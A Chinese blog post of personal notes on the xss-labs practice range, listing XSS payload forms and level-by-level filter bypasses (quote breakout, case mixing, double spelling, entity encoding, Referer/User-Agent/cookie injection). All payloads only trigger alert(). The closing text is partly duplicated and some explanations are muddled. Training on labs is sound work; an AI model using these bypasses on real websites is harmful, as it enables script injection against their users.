当前位置: 首页 > news >正文

xss-labs靶场

xss-labs靶场

xss攻击类型

  • 反射型xss
  • 即攻击者将恶意脚本嵌入到url或者表单中,当用户访问特定的url或者提交表单时(用户端请求时),恶意脚本会执行

  • 攻击需要用户点击恶意链接或访问包含恶意参数的url触发

  • 存储型xss
  • 即攻击者将恶意脚本提交到服务器,恶意代码被服务器存储到数据库中

  • 存储型xws会被永久保存,且可被在多个用户访问时反复触发,具有持久性和广泛性

  • 基于DOM的xss
  • DOM 全程为 document object model
  • 可以动态改变原来网站想要插入的链接,将其改成另一个网站
   document.getElementById("demo").innerHTML = "http://www.youku.com。";
} <!-- 这里比如原来demo所指的地址是http://www.baidu.com ,这里可以将其改成www.youku.com -->
  • 所以这里可以动态修改

+++

攻击形式

  • 标签
<!--a标签是HTML中用来创建超链接的元素,用户点击之后会跟根据href指定的url导航到另一个页面-->
<!-- 点击链接触发 - JavaScript 伪协议 -->
<a href="javascript:alert(1)")>XSS1</a>
<!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件-->
<a href="" onfocus="alert(1)" autofocus>XSS3</a>
<!-- 事件监听,当鼠标划过元素时触发 -->
<a href="" onmouseover="alert(1)">XSS5</a>
<!-- 事件监听,当鼠标划出元素时触发 -->
<a href="" onmouseout="alert(1)">XSS6</a>
  • 标签
<!-- 事件监听:焦点事件,页面加载完成后,button 标签自动获得焦点,触发 onfocus
事件 -->
<button onfocus=alert(1) autofocus>XSS1</button>
<!-- 下面均为事件监听,不多解释了 -->
<button onclick=alert(1)>XSS2</button>
<button onmouseover=alert(1)>XSS3</button>
<button onmouseout=alert(1)>XSS4</button>
<button onmouseup=alert(1)>XSS5</button>
<button onmousedown=alert(1)>XSS6</button>
  • 标签
<!--设置打开使用图片 但是让图片=1 所以会加载失败 则触发xss,页面会显示一个警告框 显示1 -->
<img src=1 onerror=alert("xss");>
  • 标签
<! --这里代码执行时会别嵌入到页面中,当浏览器解析代码时会立即执行alert从而显示出xss,本质上就是为了将恶意代码注入到网页中然后方便下一次用户使用时候执行攻击 -->
<script>alert("xss");</script>
  • 标签
<!-- 当用户与输入框之类的产生交互而获得焦点时 就会触发然后警示框显示xss -->
<input onfocus="alert"('xss')>
使用 open 属性触发 ontoggle 事件,无需用户去触发
<details open ontoggle="alert('xss');">
  • ''标签
<!-- onfocus事件会在元素获得焦点时触发,对于select元素,通常当用户点击下拉框时,事件就会被触发--><select onfocus=alert(1) autofocus>
  • 标签’
<!--页面加载渲染这段代码时,svg元素会被解析并触发onload事件,弹出警示框显示'xss'-->
<!--svg是一种XML格式的图形格式,包含形状,文本,渐变等-->
<svg onload=alert("xss");>
  • ''标签
<!--iframe元素是在当前页面中其嵌入另一个页面,加载其他的网页或资源,但是本例子中没有src元素 所以是孔德 直接触发onload事件也就是弹出xss的警告-->
<iframe onload=alert("xss");>
</iframe>
  • ''标签
<!--video元素用于在页面中其纳入视频,但是本例子中没有指定src属性,所以直接触发oberror事件,也就是在视频等加载失败后触发alert-->
<video><source onerror="alert(1)">
  • ''标签
<!-- body元素是html文档的主体部分,包含了页面的所有可视内容,如文本,图片,表格等;onload 事件会在页面等特定元素完全加载之后触发,所以之后就会弹出xss-->
<body onload=alert("xss");>
  • ‘标签’
<!-- 浏览器加载iframe元素时候执行jsp:协议直接触发alert事件-->
<iframe src="javaseript:alert('xss');">xss</a>
  • ''标签
<img src=javascript:alert('xss');>
  • ''标签
<!-- form元素在HTML中用于创建表格,允许用户输入数据并提交到服务器,表单的action属性指定了表单提交的目标url,但由于后面有一个jsp;协议,所以表单不会提交数据,而是执行alert事件;之后的input就是用户点击提交按钮之后表单才会被提交-->
<form action="javascript:alert(1)"><input type=submit>

+++

简单读懂代码

<!DOCTYPE html><!--STATUS OK--><html>
<!-- meta是一个HTML元素 用来提供关于文档的信息 例如作者,浏览器该页面的字符编码-->  //text/html  这个可以指定文档类型为HTML
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<!--这里定义了一个window.alert的函数 confirm显示之后会直接到达下一个lavel4这个页面 并且显示"try harder"-->
<script>
window.alert = function()  
{     
confirm("完成的不错!");  window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<!--接下来定义了一个表单form 并且之后用户提交的表单都会被送到lavel3.php中-->
<form action=level3.php method=GET>  <!--这里的get意味着用get方法传递数据,也就是用户提交的数据会附加到url后面作为查询字符(携带数据或参数以便传递给 服务器)-->
<!-- 用于接收用户输入,这里的value 后面为空字符 意味着用户可以在输入框中输入内容-->
<input name=keyword  value=''>	 
<!-- 定义了一个提交按钮 用户点击提交后会发送到action路径中,value值那里会显示搜索这两个词-->
<input type=submit name=submit value=搜索 />  <!-- inm 是单纯的显示出图像,payload 是显示长度-->
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
.htmlspecialchars  //..用于过滤特殊字符
&
<
>
''
""

lavel 1

发现url输入框中有get形式传参,想从其中找漏洞

漏洞在于其没有对用户输入的东西进行转义,例如特殊字符< > 之类的

<script>alert(1)</script>

直接过关

lavel 2

从f12中观看分别在url和输入框中写入xss语句后哪一个没有被实体化(被编码) 发现搜索框中的没有被实体化 所以构造语句使xss可以执行

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

"> <script>alert(2)</script> <"

这里的"闭合了value 的前引号 ,>闭合了input的前引号,后面同理

lavel 3

观察源代码发现是单引号闭合 仿照lavel2进行闭合绕过 发现符号也被实体化了

ps:f12选中右键查看“编辑HTML”观察到符号已经被实体化了

<!-- 页面加载并且该输入框获得焦点时,onfocus事件被触发-->
' onfocus=javascript:alert()'

全部实体化 利用标签事件 单引号闭合

lavel 4

"> onfocus=javascript:alert() <" 

lavel 5

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

沿用上一关的方法发现o于n之间被加了一个_ ,所以无法绕过

这里尝试使用a标签 再匹配它的格式 发现可以

"> <a href="javascript:alert(1)")>XSS1</a> <"

lavel 6(大小写)

这里发现href标签也被禁了 再尝试button 发现也不可以

如果查看网页源码 发现过滤的代码并没有显示出来,所以直接文件打开

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

发现其有replace 替代字符串的代码 例如on->o_ n ,这可以直接使xss无效,所以我直接变成大写 发现可以绕过

"> <ButtON oNfoCus=alert(1) aUtoFocUs>XSS1</buttOn> <"
"> <a hRef="javaScript:alert(1)")>XSS1</a> <"

lavel 7(双拼写)

这里文件打开php文件 发现其把on 等字符串替代成空 ,且大小写转换没有用.那么接下来就简单了:

但是这个不行 因为对于像 onnfocus 这种事件处理器的拼写错误,浏览器会彻底忽略该事件属性

"> oonnfocus=javasscirptcript:alert() <" 

所以采用

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

lavel 8

查看源代码发现其把双引号过滤了

这时候可以利用unicode直接编码然后绕过 利用的就是通过浏览器自己解码就可以绕过一些检查 这里不需要闭合就可以直接编码 因为浏览器编码结束之后会直接执行jsp 但是之前的需要闭合的因为要确保HTML属性值正确才可以执行

javascript:alert()

编码成

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

就可以添加链接了

lavel 9

这里发现加入了判断语句

<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>//strpos($str7,'http://' 这个函数用来判断语句是否有http:// 如果没有 就返回false 那么false===false 就会显示出错

所以要在上一关的基础上增加http://

通过编码javascript:alert() /* http:// */

护机制只是检查 javascript: 并且认为它后面有注释部分(即以 /* 开始),它可能会误认为整个 URL 不再是有效的 javascript: 协议,从而不做进一步的检查。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

继续解释为什么将a href标签编码之后再加入/* http:// */ 为什么没用?因为a标签本身和后面的href属性 url他们都是HTML元素 ,但是HTML元素本身并不允许在其中直接插入jsp代码 尤其是在属性值中

lavel 10

首先可以观看php源代码,发现其接通过

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
//get传参  
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
//三个属性为用户看不见的传递的变量在url中传递值
//tips; 这里'$str33' 就是一种简单的拼接 单引号不需要管!!!

发现

$str11 = $_GET["t_sort"];
<input name="t_sort"  value="'.$str33.'" type="hidden"> 

这两行代码是重复的 也就是我们需要通过get传参t_sort 传递值 此外需加一个type="text"的按钮让我们可以成功知道自己渗透了

"t_sort=onfocus=javascript:alert() type"text

lavel 11

$str11=$_SERVER['HTTP_REFERER'];
$str22 = str_replace(">", "", $str11);
$str33=str_replace("<","",$str22);
<input name="t_ref"  value="'.$str33.'" type="hidden">  
/这里可以看到通过多次过滤的方法将原本获取的http请求头给到了t_ref

这里有一个HTTP_REFERER 它会追溯上一个你访问的网站是什么 然后因为有= 所以会复制给ste11,这里查询REFERER函数

RefererReferer 是一个 HTTP 请求头字段,它由浏览器自动添加,表明当前请求是从哪个页面发起的。在 XSS 攻击中,攻击者可以通过篡改 Referer 来传递恶意数据。当你在 Hackbar 中修改 Referer 字段并输入 aaa"type = "text"onclick="alert(1) 时,浏览器会将它作为请求头发送到服务器。在页面中,服务器会通过 $_SERVER['HTTP_REFERER'] 获取这个字段并进行处理。

所以可通过hackbar中的refer直接输入

ps: REFERER并不是必须为相关的请求头 攻击者可以将其改为任意字段 例如以下的xss代码

aaa"type = "text"onclick="alert(1)

lavel 12

$str11=$_SERVER['HTTP_USER_AGENT'];

观察代码 发现与上一关不同的就是REFERER变成了USER_AGENT 这里可以直接将

aaa"type = "text"onclick="alert(1)

通过hackbar中的user agent 提交过关

lavel 13

setcookie("user", "call me maybe?", time()+3600);
//这里设置了一个名为user的cookie 值为call me maybe 并且这个cookie会在3600秒之后过期
ini_set("display_errors", 0);
//这是一个函数 display_errors为1表示开启错误选项,0表示关闭错误选项,这里直接设置为了0 意味着不希望将内部的错误信息暴露给用户

这里漏洞是 页面中有代码从cookie中读取数据并直接插入html中 因为开发者没有对html进行转义或清理

这里直接f12 在存储中点击cookie 然后值中输入

aaa"type = "text"onclick="alert(1)

就可通关

lavel 14

重点: iframe

<iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe>
//这里的iframe元素用来嵌入外部网站或文档
iframe 是HTML中的一个标签  允许在网页中嵌入另一个网页
name=  定义了iframe的名称 便于通过jsp通过jsp进行访问
src=  这里指向了一个外部网站 
margin 这里设置iframe 内容的内边距 左右上下边距
frameborder=no 这里定义了边框为无 使iframe 内容与页面融为一体
width 等 设置了iframe的宽度和高度
scrolling=no 禁止iframe的滚动条 
www.exifviewer.org  这还是一个exit(可交换文件查看格式)信息查看器 也就是可以查看图片的元数据 例如拍摄时间 地理位置

这里是直接跳转到其指定的网站上之后上传一个带有xss的代码 以便达到弹窗模式

lavel 15

这里通过get传参方法获得一个路径 并把它镶嵌到网页中可能会让页面根据这个路径加载一些新内容

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
//ng-include 这就是文件包含的意思 用来包含外部的html元素 如果包含的内容是地址 需加引号

lavel 16

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>
//这里将script 等都过滤了 甚至还有空格,大小写,/ 但是我们可以用url编码空格 然后用svg ,video标签等过关

方法: 一定要将空格编码!!

?keyword=<video><source%0Aonerror="alert(1)">

lavel 17

这里ctrl+u发现出现了两个陌生的东西

<embed src=xsf01.swf?= width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
//swf文件是显示动画 游戏和多媒体内容的文件 适合网页中的其嵌入式内容
//emd标签是HEML中用来在网页嵌入外部资源的标签 包含src width height type(告诉浏览器该资源类型是什么)

这里因为我们的浏览器没有flash插件 所以无法打开swf文件,这里解法是直接后端查看代码将xsf02.swf改成index.png

小贴士:这里我们不是必须有index.png文件才可以成功 就算我们文件夹中没有 浏览器也会执行jsp代码 从而触发alert

然后

arg01=javascript:alert()

lavel 18

这里发现多了一行代码

confirm("完成的不错!");window.location.href="level19.php?arg01=a&arg02=b";

这里我们尝试用一下方法 但是发现没有用

&#8220;arg01=javascript:alert()&#38;

因为浏览器不会将src属性中的内容解析为html 或者jsp ,因此不会直接执行

因此

...

lavel 19

lavel 20

rc width height type(告诉浏览器该资源类型是什么)


这里因为我们的浏览器没有flash插件 所以无法打开swf文件,这里解法是直接后端查看代码将`xsf02.swf`改成`index.png`小贴士:这里我们不是必须有index.png文件才可以成功  就算我们文件夹中没有 浏览器也会执行jsp代码 从而触发alert然后 

arg01=javascript:alert()


## lavel 18这里发现多了一行代码```php
confirm("完成的不错!");window.location.href="level19.php?arg01=a&arg02=b";

这里我们尝试用一下方法 但是发现没有用

&#8220;arg01=javascript:alert()&#38;

因为浏览器不会将src属性中的内容解析为html 或者jsp ,因此不会直接执行

因此

...

lavel 19

lavel 20

这两关没有发现18关有什么区别 但就是过不去…过完年再解吧

相关文章:

xss-labs靶场

xss-labs靶场 xss攻击类型 反射型xss 即攻击者将恶意脚本嵌入到url或者表单中&#xff0c;当用户访问特定的url或者提交表单时&#xff08;用户端请求时)&#xff0c;恶意脚本会执行 攻击需要用户点击恶意链接或访问包含恶意参数的url触发 存储型xss 即攻击者将恶意脚本提交…...

Eigen::Tensor使用帮助

0 引言 用python实现了某些算法之后&#xff0c;想转成C来获取更高的性能。但是python数组的操作太灵活了&#xff0c;尤其是3维、4维、5维等高维数组&#xff0c;以及它们的广播、数组坐标、切片等机制。还有numpy的pad、where等操作更是给C转换带来了更多的麻烦。 查阅了相…...

高阶开发基础——快速入门C++并发编程4

目录 使用call_once来确保调用的唯一性 先看我们的原始的单例模式 使用call_once来确保调用的唯一性 一个相似的概念是——单例模式&#xff0c;笔者找到的是stack_overflow的一个问答&#xff0c;如果不喜欢看英文&#xff0c;可以考虑看一下这个CSDN回答&#xff1a; c - H…...

C++基础day1

前言&#xff1a;谢谢阿秀&#xff0c;指路阿秀的学习笔记 一、基础语法 1.构造和析构: 类的构造函数是一种特殊的函数&#xff0c;在创建一个新的对象时调用。类的析构函数也是一种特殊的函数&#xff0c;在删除所创建的对象时调用。 构造顺序&#xff1a;父类->子类 析…...

Deepseek:网页版OR本地部署版本?

使用本地部署的 DeepSeek 还是网页版的 DeepSeek&#xff0c;取决于具体需求和使用场景。以下是两者的对比及推荐建议&#xff1a; 响应速度 网页版 DeepSeek&#xff1a;响应速度受网络状况和服务器负载影响较大。如果网络不稳定或服务器繁忙&#xff0c;可能会出现延迟甚至…...

【文件上传】

目录 一. 介绍二. 本地存储三. 阿里云OSS3.1 准备工作3.2 入门程序3.3 案例集成3.4 程序优化 \quad 一. 介绍 \quad 三要素缺一不可 \quad 二. 本地存储 \quad 解决相同命名覆盖问题 \quad 三. 阿里云OSS \quad \quad 3.1 准备工作 \quad \quad 3.2 入门程序 \quad \quad 3.3…...

股票入门知识

股票入门&#xff08;更适合中国宝宝体制&#xff09; 股市基础知识 本文介绍了股票的基础知识&#xff0c;股票的分类&#xff0c;各板块发行上市条件&#xff0c;股票代码&#xff0c;交易时间&#xff0c;交易规则&#xff0c;炒股术语&#xff0c;影响股价的因素&#xf…...

Debezium Oracle Connector SCN处理优化指南

Debezium Oracle Connector SCN处理优化指南 📌 问题场景 SCN跳跃场景: 起始SCN:15,000(含数据变更)结束SCN:1,000,000(无中间数据)默认批次大小:10,000 → 需执行985次无效查询🚀 优化方案 1. 自适应批次调整 代码位置:LogMinerStreamingChangeEventSource.j…...

2021版小程序开发5——小程序项目开发实践(1)

2021版小程序开发5——小程序项目开发实践(1) 学习笔记 2025 使用uni-app开发一个电商项目&#xff1b; Hbuidler 首选uni-app官方推荐工具&#xff1a;https://www.dcloud.io/hbuilderx.htmlhttps://dev.dcloud.net.cn/pages/app/list 微信小程序 管理后台&#xff1a;htt…...

软件测试02----用例设计方法

今天目标 1.能对穷举场景设计测试点 2.能对限定边界规则设计测试点 3.能对多条件依赖关系进行设计测试点 4.能对项目业务进行设计测试点 一、解决穷举场景 重点&#xff1a;使用等价类划分法 1.1等价类划分法 重点&#xff1a;有效等价和单个无效等价各取1个即可。 步骤&#…...

分享半导体Fab 缺陷查看系统,平替klarity defect系统

分享半导体Fab 缺陷查看系统&#xff0c;平替klarity defect系统&#xff1b;开发了半年有余。 查看Defect Map&#xff0c;Defect image&#xff0c;分析Defect size&#xff0c;defect count trend. 不用再采用klarity defect系统&#xff08;license 太贵&#xff09; 也可以…...

C语言-----数据结构从门到精通

1.数据结构基本概念 数据结构是计算机中存储、组织数据的方式&#xff0c;旨在提高数据的访问和操作效率。它是实现高效算法和程序设计的基石。 目标:通过思维导图了解数据结构的知识点,并掌握。 1.1逻辑结构 逻辑结构主要四种类型: 集合&#xff1a;结构中的数据元素之…...

存储器知识点3

1.只读存储器中内容断电后不会丢失&#xff0c;通常存储固定不变的内容&#xff0c;不需要定时刷新。 2.虚拟存储器将主存和辅存地址空间统一编址&#xff0c;其大小受到辅助存储器容量的限制。使得主存空间得到了扩充&#xff0c;需要硬件支持&#xff0c;并由操作系统调度。…...

Weevely代码分析

亲测php5和php8都无效&#xff0c;只有php7有效 ailx10 1949 次咨询 4.9 网络安全优秀回答者 互联网行业 安全攻防员 去咨询 上一次做weevely实验可以追溯到2020年&#xff0c;当时还是weevely3.7&#xff0c;现在的是weevely4 生成php网页木马依然差不多…… php菜刀we…...

leetcode解题思路分析(一百六十三)1409 - 1415 题

查询带键的排列 给定一个正整数数组 queries &#xff0c;其取值范围在 1 到 m 之间。 请你根据以下规则按顺序处理所有 queries[i]&#xff08;从 i0 到 iqueries.length-1&#xff09;&#xff1a; 首先&#xff0c;你有一个排列 P[1,2,3,…,m]。 对于当前的 i &#xff0c;找…...

【MATLAB例程】TOA和AOA混合的高精度定位程序,适用于三维、N锚点的情况

代码实现了一个基于到达角&#xff08;AOA&#xff09;和到达时间&#xff08;TOA&#xff09;混合定位的例程。该算法能够根据不同基站接收到的信号信息&#xff0c;自适应地计算目标的位置&#xff0c;适用于多个基站的场景 文章目录 主要功能代码结构运行结果程序代码 主要功…...

PyTorch框架——基于深度学习YOLOv8神经网络学生课堂行为检测识别系统

基于YOLOv8深度学习的学生课堂行为检测识别系统&#xff0c;其能识别三种学生课堂行为&#xff1a;names: [举手, 读书, 写字] 具体图片见如下&#xff1a; 第一步&#xff1a;YOLOv8介绍 YOLOv8 是 ultralytics 公司在 2023 年 1月 10 号开源的 YOLOv5 的下一个重大更新版本…...

智慧园区系统对比不同智能管理模式提升企业运营效率与安全性

内容概要 在当今竞争激烈的市场中&#xff0c;企业需要不断提高运营效率与安全性&#xff0c;以应对复杂的环境。这时&#xff0c;“智慧园区系统”应运而生&#xff0c;成为一种有效的解决方案。智能管理模式的多样性让企业在选择系统时有了更多的选择&#xff0c;而在这些模…...

读书笔记 | 《最小阻力之路》:用结构思维重塑人生愿景

一、核心理念&#xff1a;结构决定行为轨迹 橡皮筋模型&#xff1a;愿景张力的本质 书中提出&#xff1a;人类行为始终沿着"现状"与"愿景"之间的张力路径运动&#xff0c;如同橡皮筋拉伸产生的动力。 案例&#xff1a;音乐家每日练习的坚持&#xff0c;不…...

257. 二叉树的所有路径

二叉树的所有路径 已解答 简单 给你一个二叉树的根节点 root &#xff0c;按 任意顺序 &#xff0c;返回所有从根节点到叶子节点的路径。 叶子节点 是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [1,2,3,null,5] 输出&#xff1a;[“1->2->5”,“…...

Vulkan 学习(13)---- Vulkan Framebuffercommand buffer

目录 Vulkan Framebuffer创建 VkFramebufferVkFrameBuffer 创建示例 Vulkan command buffercommand buffer pool分配指令缓存池释放指令缓存池录制 command buffer提交 command buffer Vulkan Framebuffer Vulkan 帧缓冲区(FrameBuffer) 是一个容器对象(资源管理类的对象)&…...

从零开始学习安时积分法(STM32实现程序)

在STM32微控制器上实现安时积分法&#xff08;Coulomb Counting&#xff09;来估算电池的SOC&#xff08;State of Charge&#xff09;&#xff0c;需要完成以下几个步骤&#xff1a; 硬件配置&#xff1a; 使用STM32的ADC模块测量电池的电流。使用定时器模块进行时间积分。配置…...

基于Kamailio、MySQL、Redis、Gin、Vue.js的微服务架构

每个服务使用一台独立的服务器的可行部署方案&#xff0c;尤其是在高并发、高可用性要求较高的场景中。这种方案通常被称为分布式部署或微服务架构。以下是针对您的VoIP管理系统&#xff08;基于Kamailio、MySQL、Redis、Gin、Vue.js&#xff09;的详细分析和建议。 1. 分布式部…...

Unity 粒子特效在UI中使用裁剪效果

1.使用Sprite Mask 首先建立一个粒子特效在UI中显示 新建一个在场景下新建一个空物体&#xff0c;添加Sprite Mask组件&#xff0c;将其的Layer设置为UI相机渲染的UI层&#xff0c; 并将其添加到Canvas子物体中&#xff0c;调整好大小&#xff0c;并选择合适的Sprite&#xff…...

Android 开发:新的一年,新的征程

回顾 2023 年&#xff0c;Android 开发领域可谓成果斐然。这一年&#xff0c;Android 系统不断迭代&#xff0c;新技术、新工具层出不穷&#xff0c;为开发者们带来了前所未有的机遇与挑战。如今&#xff0c;我们站在新的起点&#xff0c;怀揣着对技术的热爱与追求&#xff0c;…...

手写MVVM框架-环境搭建

项目使用 webpack 进行进行构建&#xff0c;初始化步骤如下: 1.创建npm项目执行npm init 一直下一步就行 2.安装webpack、webpack-cli、webpack-dev-server&#xff0c;html-webpack-plugin npm i -D webpack webpack-cli webpack-dev-server html-webpack-plugin 3.配置webpac…...

SQL进阶实战技巧:某芯片工厂设备任务排产调度分析 | 间隙分析技术应用

目录 0 技术定义与核心原理 1 场景描述 2 数据准备 3 间隙分析法 步骤1:原始时间线可视化...

[HOT 100] 0167. 两数之和 ||

文章目录 1. 题目链接2. 题目描述3. 题目示例4. 解题思路5. 题解代码6. 复杂度分析 1. 题目链接 167. 两数之和 II - 输入有序数组 - 力扣&#xff08;LeetCode&#xff09; 2. 题目描述 给你一个下标从 1 开始的整数数组 numbers &#xff0c;该数组已按 非递减顺序排列 &…...

CSS整体回顾

一. 邂逅CSS和常见的CSS 1.1. CSS的编写方式 1.2. 常见的CSS font-size/color/width/height/backgroundColor 二. 文本属性 2.1. text-decoration 2.2. text-indent 2.3. text-align 三. 字体属性 3.1. font-family 3.2. font-style 3.3. font-weight 3.4. font-size 3.5. …...

使用 Grafana 和 Prometheus展现消息队列性能

引言 上篇文章通过JMX提取Kafka数据&#xff0c;本篇文章将通过JDBC存储Kafka性能数据存储于数据库&#xff0c;并通过Grafana 和 Prometheus进行展示&#xff0c;实现开发中常用的可视化监控 1. 环境准备 Kafka&#xff1a;运行中的 Kafka 集群&#xff0c;确保可以…...

openssl 生成证书 windows导入证书

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github&#xff1a;codetoys&#xff0c;所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的&#xff0c;可以在任何平台上使用。 源码指引&#xff1a;github源…...

Skyeye 云 VUE 版本 v3.15.6 发布

Skyeye 云智能制造&#xff0c;采用 Springboot winUI 的低代码平台、移动端采用 UNI-APP。包含 30 多个应用模块、50 多种电子流程&#xff0c;CRM、PM、ERP、MES、ADM、EHR、笔记、知识库、项目、门店、商城、财务、多班次考勤、薪资、招聘、云售后、论坛、公告、问卷、报表…...

25.2.3 【洛谷】作为栈的复习不错(学习记录)

今天学习的东西不算多&#xff0c;放了一个星期假&#xff0c;感觉不少东西都没那么清楚&#xff0c;得复习一下才行。今天搞个栈题写&#xff0c;把栈复习一下&#xff0c;明天进入正轨&#xff0c;边复习边学习新东西&#xff0c;应该会有二叉树的学习等等... 【洛谷】P1449 …...

【C++】线程池实现

目录 一、线程池简介线程池的核心组件实现步骤 二、C11实现线程池源码 三、线程池源码解析1. 成员变量2. 构造函数2.1 线程初始化2.2 工作线程逻辑 3. 任务提交(enqueue方法)3.1 方法签名3.2 任务封装3.3 任务入队 4. 析构函数4.1 停机控制 5. 关键技术点解析5.1 完美转发实现5…...

大模型领域的Scaling Law的含义及作用

Scaling Law就像是一个“长大公式”&#xff0c;用来预测当一个东西&#xff08;比如模型&#xff09;变大&#xff08;比如增加参数、数据量&#xff09;时&#xff0c;它的性能&#xff08;比如准确率&#xff09;会怎么变化。 它能帮助我们提前知道&#xff0c;增加多少资源…...

用FormLinker实现自动调整数据格式,批量导入微软表单

每天早上打开Excel时&#xff0c;你是否也经历过这样的噩梦&#xff1f; 熬夜调整好的问卷格式&#xff0c;导入微软表单后全乱套 客户发来的PDF反馈表&#xff0c;手动录入3小时才完成10% 200道题库要转为在线测试&#xff0c;复制粘贴到手指抽筋 微软官方数据显示&#xf…...

C#,shell32 + 调用控制面板项(.Cpl)实现“新建快捷方式对话框”(全网首发)

Made By 于子轩&#xff0c;2025.2.2 不管是使用System.IO命名空间下的File类来创建快捷方式文件&#xff0c;或是使用Windows Script Host对象创建快捷方式&#xff0c;亦或是使用Shell32对象创建快捷方式&#xff0c;都对用户很不友好&#xff0c;今天小编为大家带来一种全新…...

洛谷 P11626 题解

[Problem Discription] \color{blue}{\texttt{[Problem Discription]}} [Problem Discription] 给定长度为 n n n 的数组 A 1 ⋯ n A_{1 \cdots n} A1⋯n​&#xff0c;求 ∑ a 1 n ∑ b a 1 n ∑ c b 1 n ∑ d c 1 n ∑ e d 1 n ∑ f e 1 n ∑ g f 1 n ( gcd …...

Android学习制作app(ESP8266-01S连接-简单制作)

一、理论 部分理论见arduino学习-CSDN博客和Android Studio安装配置_android studio gradle 配置-CSDN博客 以下直接上代码和效果视频&#xff0c;esp01S的收发硬件代码目前没有分享&#xff0c;但是可以通过另一个手机网络调试助手进行模拟。也可以直接根据我的代码进行改动…...

一文读懂 RAG:LLM 借助检索打开思路

一、引言 在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;随着深度学习技术的飞速发展&#xff0c;大型语言模型&#xff08;LLMs&#xff09;展现出了强大的语言理解和生成能力。然而&#xff0c;LLMs也存在一些局限性&#xff0c;如容易产生幻觉、知识更新不及时…...

使用istio实现权重路由

istio概述 **概述&#xff1a;**Istio 是一个开源的 服务网格&#xff08;Service Mesh&#xff09;解决方案&#xff0c;主要用于管理、保护和监控微服务架构中的服务通信。它为微服务提供了基础设施层的控制功能&#xff0c;不需要更改应用程序的代码&#xff0c;从而解决服…...

DeepSeek发布新模型,遭遇大规模攻击,梁文锋回应证实为假,吴恩达盛赞DeepSeek!AI Weekly 1.27-2.2

&#x1f4e2;本周AI快讯 | 1分钟速览&#x1f680; 1️⃣ &#x1f5bc;️Janus-Pro-7B&#xff1a;DeepSeek发布7B开源多模态模型&#xff0c;视觉理解&生成能力超越DALL-E 3&#xff01; 2️⃣ &#x1f6a8;DeepSeek遭遇大规模攻击&#xff1a;DDoS暴力破解&#xff…...

20250202在Ubuntu22.04下使用Guvcview录像的时候降噪

20250202在Ubuntu22.04下使用Guvcview录像的时候降噪 2025/2/2 21:25 声卡&#xff1a;笔记本电脑的摄像头自带的【USB接口的】麦克风。没有外接3.5mm接口的耳机。 缘起&#xff1a;在安装Ubuntu18.04/20.04系统的笔记本电脑中直接使用Guvcview录像的时候底噪很大&#xff01; …...

直方图:摄影中的视觉数据指南

目录 一、直方图基础&#xff1a;揭开它的神秘面纱 二、解读直方图类型&#xff1a;亮度与色彩的密码 &#xff08;一&#xff09;亮度直方图 &#xff08;二&#xff09;RGB 直方图 三、拍摄中巧用直方图&#xff1a;优化曝光与效果 &#xff08;一&#xff09;精准判断曝…...

OpenGL学习笔记(七):Camera 摄像机(视图变换、LookAt矩阵、Camera类的实现)

文章目录 摄像机/观察空间/视图变换LookAt矩阵移动相机&#xff08;处理键盘输入&#xff09;移动速度欧拉角移动视角&#xff08;处理鼠标输入&#xff09;缩放场景&#xff08;处理滚轮输入&#xff09;Camera类 摄像机/观察空间/视图变换 在上一节变换中&#xff0c;我们讨…...

冲刺一区!挑战7天完成一篇趋势性分析GBD DAY1-7

Day1. 公开数据库的挖掘太火热了,其中GBD数据库的挖掘又十分的火爆.那我就来挑战一篇GBD、一篇关于趋势性分析的GBD&#xff01; GBD数据库挖掘是目前的四大刊常客&#xff0c;经常出现在顶级期刊上面。这个数据库亮点就是&#xff1a;可视化&#xff0c;统计学简单、而数据可…...

解锁数据结构密码:层次树与自引用树的设计艺术与API实践

1. 引言&#xff1a;为什么选择层次树和自引用树&#xff1f; 数据结构是编程中的基石之一&#xff0c;尤其是在处理复杂关系和层次化数据时&#xff0c;树形结构常常是最佳选择。层次树&#xff08;Hierarchical Tree&#xff09;和自引用树&#xff08;Self-referencing Tree…...

【AudioClassificationModelZoo-Pytorch】基于Pytorch的声音事件检测分类系统

